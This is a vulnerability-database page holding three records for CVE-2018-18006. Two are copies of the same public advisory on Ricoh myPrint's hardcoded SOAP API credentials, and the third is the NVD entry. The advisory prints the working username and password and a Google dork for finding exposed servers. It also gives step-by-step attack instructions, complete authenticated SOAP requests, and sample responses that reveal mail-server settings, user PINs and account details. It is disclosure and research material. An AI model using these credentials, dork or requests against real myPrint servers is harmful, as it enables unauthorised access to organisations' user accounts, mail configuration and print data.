DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-31655", "type": "zdt", "bulletinFamily": "exploit", "title": "Ricoh myPrint Hardcoded Credentials / Information Disclosure Vulnerability", "description": "Ricoh myPrint suffers from hardcoded application credential and information disclosure vulnerabilities. The myPrint windows client version 2.9.2.4 and myPrint android client version 2.2.7 are both affected.", "published": "2018-11-20T00:00:00", "modified": "2018-11-20T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/31655", "reporter": "Hodorsec", "references": [], "cvelist": ["CVE-2018-18006"], "immutableFields": [], "lastseen": "2018-12-12T08:00:36", "viewCount": 19, "enchantments": {"score": {"value": -0.4, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-18006"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:150399"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2018-18006"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:150399"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2018-18006", "epss": "0.010900000", "percentile": "0.821250000", "modified": "2023-03-14"}], "vulnersScore": -0.4}, "sourceHref": "https://0day.today/exploit/31655", "sourceData": "Exploit Title: Ricoh myPrint - Hardcoded application credentials and information disclosure via WSDL webservices\r\nGoogle Dork: intitle:\"ricoh myprint\" \"Copyright Ricoh. All Rights Reserved\"\r\nDate: 19-11-18\r\nExploit Author: Hodorsec\r\nVendor Homepage: https://www.ricoh.com\r\nSoftware Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203\r\nVersions:\r\nmyPrint - Windows client version 2.9.2.4\r\nmyPrint - Android client version 2.2.7\r\nTested on: Ricoh myPrint clients and WSDL webservice\r\nWSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl\r\nCVE: CVE-2018-18006\r\n\r\nDescription:\r\nHardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering API secrets of related Google cloud printers, encrypted passwords of mail servers and names of printed files.\r\n\r\nAdditional Information:\r\nHardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android (reverse-engineered, identical credentials), gives access\r\nto any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as:\r\n* Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based\r\n encrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings\r\n* Checks if a password is valid for ANY known user; returns \"true\" if password is valid for a known user --> IsPasswordValid\r\n* Shows all user info such as ID, name by looking up email alias --> IdentifierByEmailAlias\r\n* Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint\r\n* Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters\r\n* Show all printjob-statuses with filenames --> GetJobList\r\n* Show related organizations --> ReadOrganizations\r\n\r\nAffected Components:\r\n* Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API.\r\n\r\nAffected Code:\r\n* Android client \"WebService.java\"\r\n...<SNIP>...\r\npublic static final class\r\n{\r\n\r\n public static final String AUTH_PASS = \"Kyg63WfC\";\r\n public static final String AUTH_USER = \"ricohmyprint\";\r\n public static final String NS_RICOH = \"http://RicohmyPrint.com/\";\r\n public static final String NS_SOAP12 = \"http://www.w3.org/2003/05/soap-envelope\";\r\n public static final String PRE_RICOH = \"ric\";\r\n public static final String PRE_SOAP12 = \"soap\";\r\n public static final String SERVICE = \"/RicohmyPrint/myprintwebservice.asmx\";\r\n public static final String SUPPORTED_LANGS[] = {\r\n \"en\", \"ca\", \"de\", \"es\", \"fr\", \"it\", \"nl\", \"no\", \"pl\", \"pt\",\r\n \"sv\"\r\n };\r\n...<SNIP>...\r\n\r\nAttack Type:\r\n* Remote\r\n\r\nAttack Vectors:\r\nSteps:\r\n* Download the Android APK or Windows executable installer\r\n* Reverse engineer the APK or DLL's from the Windows installer\r\n* Look for the string \"PASS\" with a regex tool, which should pop up a hit\r\n* Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. \"ReadMobileSettings\")\r\n* Use any operation, substitute the \"AuthSoapHd\" values for UserName and Password with the found credentials\r\n* Perform the request and check results\r\n\r\nHardcoded Credentials:\r\n* Username: ricohmyprint\r\n* Password: Kyg63WfC\r\n\r\nHeader requirement:\r\nRequired for using in an SOAP WSDL POST message as a header with values:\r\n <soapenv:Header>\r\n <ric:AuthSoapHd>\r\n <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>\r\n <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>\r\n <ric:Version><![CDATA[0.1]]></ric:Version>\r\n <ric:Application><![CDATA[Desktop]]></ric:Application>\r\n <ric:DeviceId><![CDATA[1]]></ric:DeviceId>\r\n </ric:AuthSoapHd>\r\n </soapenv:Header>\r\n\r\nExamples:\r\n* ReadMobileSettings\r\n---------------------------------------------\r\nREQUEST\r\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ric=\"http://RicohmyPrint.com/\">\r\n <soapenv:Header>\r\n <ric:AuthSoapHd>\r\n <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>\r\n <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>\r\n <ric:Version><![CDATA[0.1]]></ric:Version>\r\n <ric:Application><![CDATA[Desktop]]></ric:Application>\r\n <ric:DeviceId><![CDATA[1]]></ric:DeviceId>\r\n </ric:AuthSoapHd>\r\n </soapenv:Header>\r\n <soapenv:Body>\r\n <ric:ReadMobileSettings/>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n\r\nRESPONSE\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n <soap:Body>\r\n <ReadMobileSettingsResponse xmlns=\"http://RicohmyPrint.com/\">\r\n <ReadMobileSettingsResult>\r\n <WatchFolder>C:\\ProgramData\\RICOH\\WatchFolder</WatchFolder>\r\n <ProcessFolder>C:\\ProgramData\\RICOH\\ProcessFolder</ProcessFolder>\r\n <WebUploadFolder>C:\\ProgramData\\RICOH\\WebUploadFolder</WebUploadFolder>\r\n <MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed>\r\n <ToFilePrinterName>myPrintToFile</ToFilePrinterName>\r\n <PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName>\r\n <POPIMAP>\r\n <EmailHandling>SINGLE</EmailHandling>\r\n <RetrievingInterval>5</RetrievingInterval>\r\n <EmailProtocol>POP3</EmailProtocol>\r\n <EmailServer>pop.someserver.local</EmailServer>\r\n <Port>110</Port>\r\n <PrintEmailBody>true</PrintEmailBody>\r\n <UserName>[email\u00a0protected]</UserName>\r\n <Password>REDACTED</Password>\r\n <Domain />\r\n <EmailWebservice />\r\n <ExchangeVersion>5</ExchangeVersion>\r\n <OverrideCertificateCheck>false</OverrideCertificateCheck>\r\n </POPIMAP>\r\n <SMTP>\r\n <SmtpServer>smtp.someserver.local</SmtpServer>\r\n <Port>25</Port>\r\n <EmailDisplayName>Ricoh myPrint</EmailDisplayName>\r\n <EmailFrom>[email\u00a0protected]</EmailFrom>\r\n <EnableSsl>false</EnableSsl>\r\n <UserName />\r\n <Password>REDACTED</Password>\r\n </SMTP>\r\n <GCP>\r\n <Id>0</Id>\r\n <XmppPort>80</XmppPort>\r\n <UseSocksProxy>false</UseSocksProxy>\r\n <SocksProxyServer />\r\n <SocksProxyVersion>5</SocksProxyVersion>\r\n <SocksProxyPort>1080</SocksProxyPort>\r\n <SocksProxyUser />\r\n </GCP>\r\n <LPRPrinterPort>0</LPRPrinterPort>\r\n <UseLPR>false</UseLPR>\r\n <EmailRefusal>postmaster</EmailRefusal>\r\n </ReadMobileSettingsResult>\r\n </ReadMobileSettingsResponse>\r\n </soap:Body>\r\n</soap:Envelope>\r\n\r\n---------------------------------------------\r\n\r\n* IdentifierByEmailAlias\r\n---------------------------------------------\r\nREQUEST:\r\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ric=\"http://RicohmyPrint.com/\">\r\n <soapenv:Header>\r\n <ric:AuthSoapHd>\r\n <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName>\r\n <ric:Password><![CDATA[Kyg63WfC]]></ric:Password>\r\n <ric:Version><![CDATA[a]]></ric:Version>\r\n <ric:Application><![CDATA[b]]></ric:Application>\r\n <ric:DeviceId><![CDATA[c]]></ric:DeviceId>\r\n </ric:AuthSoapHd>\r\n </soapenv:Header>\r\n <soapenv:Body>\r\n <ric:IdentifierByEmailAlias>\r\n <!--Optional:-->\r\n <ric:emailAlias>admin</ric:emailAlias>\r\n </ric:IdentifierByEmailAlias>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n\r\nRESPONSE:\r\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n <soap:Body>\r\n <IdentifierByEmailAliasResponse xmlns=\"http://RicohmyPrint.com/\">\r\n <IdentifierByEmailAliasResult>\r\n <Exists>true</Exists>\r\n <Account>\r\n <Id>1337</Id>\r\n <AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId>\r\n <UserName>admin</UserName>\r\n <Emailaddress>[email\u00a0protected]</Emailaddress>\r\n <PersonalmyPrintId>1osd9KJ</PersonalmyPrintId>\r\n <Balance>5</Balance>\r\n <BalanceFormatted>a! 5,00</BalanceFormatted>\r\n <Primarypin>123456</Primarypin>\r\n <SecondaryPin/>\r\n <OrganisationId>1</OrganisationId>\r\n <ByClientCreated>false</ByClientCreated>\r\n <IsActivated>true</IsActivated>\r\n <GuestAccount>false</GuestAccount>\r\n <Aliasses/>\r\n <Transactions/>\r\n <Language>GB</Language>\r\n <MpPrintingPreferences>\r\n <Id>0</Id>\r\n <DuplexPreference>TwoSidedLongEdge</DuplexPreference>\r\n <ColorPreference>Monochrome</ColorPreference>\r\n <ChangingDuplexEnabled>true</ChangingDuplexEnabled>\r\n <ChangingColorEnabled>true</ChangingColorEnabled>\r\n <StaplePreference>StapleTopLeft</StaplePreference>\r\n <PagePerSheetPreference>One</PagePerSheetPreference>\r\n <ChangingStapleEnabled>true</ChangingStapleEnabled>\r\n <ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled>\r\n </MpPrintingPreferences>\r\n <QpilotCardID/>\r\n <ClientType>IDPLocal</ClientType>\r\n <Administrator>false</Administrator>\r\n <HelpDesk>false</HelpDesk>\r\n <PrintQueue>\r\n <Id>1</Id>\r\n <PrinterId>1</PrinterId>\r\n <PrintQueueType>LPR</PrintQueueType>\r\n <PrinterName>Default printer</PrinterName>\r\n <PrinterAddress>127.0.0.1</PrinterAddress>\r\n <QueueName>lp</QueueName>\r\n <Port>515</Port>\r\n <IsPublic>true</IsPublic>\r\n <Priority>0</Priority>\r\n <Active>true</Active>\r\n </PrintQueue>\r\n <Domain/>\r\n </Account>\r\n </IdentifierByEmailAliasResult>\r\n </IdentifierByEmailAliasResponse>\r\n </soap:Body>\r\n</soap:Envelope>\r\n\r\n---------------------------------------------\r\n\r\nSoap Endpoints:\r\n* ApplyAgreementAcceptance\r\n* ChangePassword\r\n* ClearCache\r\n* CreateAccount\r\n* CreateAccountByCardId\r\n* FinishedJobProcessing\r\n* GetConditionsUri\r\n* GetImage\r\n* GetJobList\r\n* GetLanguageTable\r\n* GetPrintCapabilities\r\n* GetPrintQueueRuleResult\r\n* GetSupportUri\r\n* IdentifierByEmailAlias\r\n* IsPasswordValid\r\n* LogIn\r\n* Operation\r\n* ReadAccount\r\n* ReadGoogleCloudPrinters\r\n* ReadMobileSettings\r\n* ReadMpPrintQueues\r\n* ReadOrganizations\r\n* ReadSettings\r\n* ReSendPincode\r\n* ResetPassword\r\n* RetrieveCloudPrintJobsAllowed\r\n* RetrieveEmailAllowed\r\n* SendCancelPrintJob\r\n* SendHeartbeat\r\n* SendPrinterName\r\n* Test\r\n* UpdateAccount\r\n* UpdateGoogleCloudPrinter\r\n* UploadFile\r\n* UploadFileAndPrintTicket\r\n* VerifyJobProcessing\r\n* VoucherToCash\r\n* WaitingJob\r\n* WriteLog\r\n\r\nDisclosure Timeline using CERT/CC disclosure policy:\r\n- 04-10-18: Requested CVE\r\n- 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses\r\n- 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor\r\n- 22-10-18: CERT responded it received no response on their behalf from vendor\r\n- 22-10-18: Sent reminder to vendor\r\n- 19-11-18: Public Disclosure\n\n# 0day.today [2018-12-12] #", "_state": {"dependencies": 1645376448, "score": 1683995972, "epss": 1678874978}, "_internal": {"score_hash": "77daffefb0375296e65ccc9133dec8ad"}}

{"packetstorm": [{"lastseen": "2018-11-20T10:29:50", "description": "", "cvss3": {}, "published": "2018-11-20T00:00:00", "type": "packetstorm", "title": "Ricoh myPrint Hardcoded Credentials / Information Disclosure", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-18006"], "modified": "2018-11-20T00:00:00", "id": "PACKETSTORM:150399", "href": "https://packetstormsecurity.com/files/150399/Ricoh-myPrint-Hardcoded-Credentials-Information-Disclosure.html", "sourceData": "`Exploit Title: Ricoh myPrint - Hardcoded application credentials and information disclosure via WSDL webservices \nGoogle Dork: intitle:\"ricoh myprint\" \"Copyright Ricoh. All Rights Reserved\" \nDate: 19-11-18 \nExploit Author: Hodorsec \nVendor Homepage: https://www.ricoh.com \nSoftware Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203 \nVersions: \nmyPrint - Windows client version 2.9.2.4 \nmyPrint - Android client version 2.2.7 \nTested on: Ricoh myPrint clients and WSDL webservice \nWSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl \nCVE: CVE-2018-18006 \n \nDescription: \nHardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering API secrets of related Google cloud printers, encrypted passwords of mail servers and names of printed files. \n \nAdditional Information: \nHardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android (reverse-engineered, identical credentials), gives access \nto any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as: \n* Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based \nencrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings \n* Checks if a password is valid for ANY known user; returns \"true\" if password is valid for a known user --> IsPasswordValid \n* Shows all user info such as ID, name by looking up email alias --> IdentifierByEmailAlias \n* Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint \n* Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters \n* Show all printjob-statuses with filenames --> GetJobList \n* Show related organizations --> ReadOrganizations \n \nAffected Components: \n* Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API. \n \nAffected Code: \n* Android client \"WebService.java\" \n...<SNIP>... \npublic static final class \n{ \n \npublic static final String AUTH_PASS = \"Kyg63WfC\"; \npublic static final String AUTH_USER = \"ricohmyprint\"; \npublic static final String NS_RICOH = \"http://RicohmyPrint.com/\"; \npublic static final String NS_SOAP12 = \"http://www.w3.org/2003/05/soap-envelope\"; \npublic static final String PRE_RICOH = \"ric\"; \npublic static final String PRE_SOAP12 = \"soap\"; \npublic static final String SERVICE = \"/RicohmyPrint/myprintwebservice.asmx\"; \npublic static final String SUPPORTED_LANGS[] = { \n\"en\", \"ca\", \"de\", \"es\", \"fr\", \"it\", \"nl\", \"no\", \"pl\", \"pt\", \n\"sv\" \n}; \n...<SNIP>... \n \nAttack Type: \n* Remote \n \nAttack Vectors: \nSteps: \n* Download the Android APK or Windows executable installer \n* Reverse engineer the APK or DLL's from the Windows installer \n* Look for the string \"PASS\" with a regex tool, which should pop up a hit \n* Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. \"ReadMobileSettings\") \n* Use any operation, substitute the \"AuthSoapHd\" values for UserName and Password with the found credentials \n* Perform the request and check results \n \nHardcoded Credentials: \n* Username: ricohmyprint \n* Password: Kyg63WfC \n \nHeader requirement: \nRequired for using in an SOAP WSDL POST message as a header with values: \n<soapenv:Header> \n<ric:AuthSoapHd> \n<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> \n<ric:Password><![CDATA[Kyg63WfC]]></ric:Password> \n<ric:Version><![CDATA[0.1]]></ric:Version> \n<ric:Application><![CDATA[Desktop]]></ric:Application> \n<ric:DeviceId><![CDATA[1]]></ric:DeviceId> \n</ric:AuthSoapHd> \n</soapenv:Header> \n \nExamples: \n* ReadMobileSettings \n--------------------------------------------- \nREQUEST \n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ric=\"http://RicohmyPrint.com/\"> \n<soapenv:Header> \n<ric:AuthSoapHd> \n<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> \n<ric:Password><![CDATA[Kyg63WfC]]></ric:Password> \n<ric:Version><![CDATA[0.1]]></ric:Version> \n<ric:Application><![CDATA[Desktop]]></ric:Application> \n<ric:DeviceId><![CDATA[1]]></ric:DeviceId> \n</ric:AuthSoapHd> \n</soapenv:Header> \n<soapenv:Body> \n<ric:ReadMobileSettings/> \n</soapenv:Body> \n</soapenv:Envelope> \n \nRESPONSE \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> \n<soap:Body> \n<ReadMobileSettingsResponse xmlns=\"http://RicohmyPrint.com/\"> \n<ReadMobileSettingsResult> \n<WatchFolder>C:\\ProgramData\\RICOH\\WatchFolder</WatchFolder> \n<ProcessFolder>C:\\ProgramData\\RICOH\\ProcessFolder</ProcessFolder> \n<WebUploadFolder>C:\\ProgramData\\RICOH\\WebUploadFolder</WebUploadFolder> \n<MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed> \n<ToFilePrinterName>myPrintToFile</ToFilePrinterName> \n<PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName> \n<POPIMAP> \n<EmailHandling>SINGLE</EmailHandling> \n<RetrievingInterval>5</RetrievingInterval> \n<EmailProtocol>POP3</EmailProtocol> \n<EmailServer>pop.someserver.local</EmailServer> \n<Port>110</Port> \n<PrintEmailBody>true</PrintEmailBody> \n<UserName>print@someserver.local</UserName> \n<Password>REDACTED</Password> \n<Domain /> \n<EmailWebservice /> \n<ExchangeVersion>5</ExchangeVersion> \n<OverrideCertificateCheck>false</OverrideCertificateCheck> \n</POPIMAP> \n<SMTP> \n<SmtpServer>smtp.someserver.local</SmtpServer> \n<Port>25</Port> \n<EmailDisplayName>Ricoh myPrint</EmailDisplayName> \n<EmailFrom>someuser@someserver.local</EmailFrom> \n<EnableSsl>false</EnableSsl> \n<UserName /> \n<Password>REDACTED</Password> \n</SMTP> \n<GCP> \n<Id>0</Id> \n<XmppPort>80</XmppPort> \n<UseSocksProxy>false</UseSocksProxy> \n<SocksProxyServer /> \n<SocksProxyVersion>5</SocksProxyVersion> \n<SocksProxyPort>1080</SocksProxyPort> \n<SocksProxyUser /> \n</GCP> \n<LPRPrinterPort>0</LPRPrinterPort> \n<UseLPR>false</UseLPR> \n<EmailRefusal>postmaster</EmailRefusal> \n</ReadMobileSettingsResult> \n</ReadMobileSettingsResponse> \n</soap:Body> \n</soap:Envelope> \n \n--------------------------------------------- \n \n* IdentifierByEmailAlias \n--------------------------------------------- \nREQUEST: \n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ric=\"http://RicohmyPrint.com/\"> \n<soapenv:Header> \n<ric:AuthSoapHd> \n<ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> \n<ric:Password><![CDATA[Kyg63WfC]]></ric:Password> \n<ric:Version><![CDATA[a]]></ric:Version> \n<ric:Application><![CDATA[b]]></ric:Application> \n<ric:DeviceId><![CDATA[c]]></ric:DeviceId> \n</ric:AuthSoapHd> \n</soapenv:Header> \n<soapenv:Body> \n<ric:IdentifierByEmailAlias> \n<!--Optional:--> \n<ric:emailAlias>admin</ric:emailAlias> \n</ric:IdentifierByEmailAlias> \n</soapenv:Body> \n</soapenv:Envelope> \n \nRESPONSE: \n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> \n<soap:Body> \n<IdentifierByEmailAliasResponse xmlns=\"http://RicohmyPrint.com/\"> \n<IdentifierByEmailAliasResult> \n<Exists>true</Exists> \n<Account> \n<Id>1337</Id> \n<AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId> \n<UserName>admin</UserName> \n<Emailaddress>someuser@someserver.local</Emailaddress> \n<PersonalmyPrintId>1osd9KJ</PersonalmyPrintId> \n<Balance>5</Balance> \n<BalanceFormatted>a! 5,00</BalanceFormatted> \n<Primarypin>123456</Primarypin> \n<SecondaryPin/> \n<OrganisationId>1</OrganisationId> \n<ByClientCreated>false</ByClientCreated> \n<IsActivated>true</IsActivated> \n<GuestAccount>false</GuestAccount> \n<Aliasses/> \n<Transactions/> \n<Language>GB</Language> \n<MpPrintingPreferences> \n<Id>0</Id> \n<DuplexPreference>TwoSidedLongEdge</DuplexPreference> \n<ColorPreference>Monochrome</ColorPreference> \n<ChangingDuplexEnabled>true</ChangingDuplexEnabled> \n<ChangingColorEnabled>true</ChangingColorEnabled> \n<StaplePreference>StapleTopLeft</StaplePreference> \n<PagePerSheetPreference>One</PagePerSheetPreference> \n<ChangingStapleEnabled>true</ChangingStapleEnabled> \n<ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled> \n</MpPrintingPreferences> \n<QpilotCardID/> \n<ClientType>IDPLocal</ClientType> \n<Administrator>false</Administrator> \n<HelpDesk>false</HelpDesk> \n<PrintQueue> \n<Id>1</Id> \n<PrinterId>1</PrinterId> \n<PrintQueueType>LPR</PrintQueueType> \n<PrinterName>Default printer</PrinterName> \n<PrinterAddress>127.0.0.1</PrinterAddress> \n<QueueName>lp</QueueName> \n<Port>515</Port> \n<IsPublic>true</IsPublic> \n<Priority>0</Priority> \n<Active>true</Active> \n</PrintQueue> \n<Domain/> \n</Account> \n</IdentifierByEmailAliasResult> \n</IdentifierByEmailAliasResponse> \n</soap:Body> \n</soap:Envelope> \n \n--------------------------------------------- \n \nSoap Endpoints: \n* ApplyAgreementAcceptance \n* ChangePassword \n* ClearCache \n* CreateAccount \n* CreateAccountByCardId \n* FinishedJobProcessing \n* GetConditionsUri \n* GetImage \n* GetJobList \n* GetLanguageTable \n* GetPrintCapabilities \n* GetPrintQueueRuleResult \n* GetSupportUri \n* IdentifierByEmailAlias \n* IsPasswordValid \n* LogIn \n* Operation \n* ReadAccount \n* ReadGoogleCloudPrinters \n* ReadMobileSettings \n* ReadMpPrintQueues \n* ReadOrganizations \n* ReadSettings \n* ReSendPincode \n* ResetPassword \n* RetrieveCloudPrintJobsAllowed \n* RetrieveEmailAllowed \n* SendCancelPrintJob \n* SendHeartbeat \n* SendPrinterName \n* Test \n* UpdateAccount \n* UpdateGoogleCloudPrinter \n* UploadFile \n* UploadFileAndPrintTicket \n* VerifyJobProcessing \n* VoucherToCash \n* WaitingJob \n* WriteLog \n \nDisclosure Timeline using CERT/CC disclosure policy: \n- 04-10-18: Requested CVE \n- 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses \n- 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor \n- 22-10-18: CERT responded it received no response on their behalf from vendor \n- 22-10-18: Sent reminder to vendor \n- 19-11-18: Public Disclosure \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/150399/ricohmyprint-disclose.txt"}], "cve": [{"lastseen": "2023-05-27T14:41:23", "description": "Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering API secrets of related Google cloud printers, encrypted passwords of mail servers, and names of printed files.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-12-14T15:29:00", "type": "cve", "title": "CVE-2018-18006", "cwe": ["CWE-798"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-18006"], "modified": "2019-01-03T14:11:00", "cpe": ["cpe:/a:ricoh:myprint:2.2.7", "cpe:/a:ricoh:myprint:2.9.2.4"], "id": "CVE-2018-18006", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-18006", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:ricoh:myprint:2.9.2.4:*:*:*:*:windows:*:*", "cpe:2.3:a:ricoh:myprint:2.2.7:*:*:*:*:android:*:*"]}]}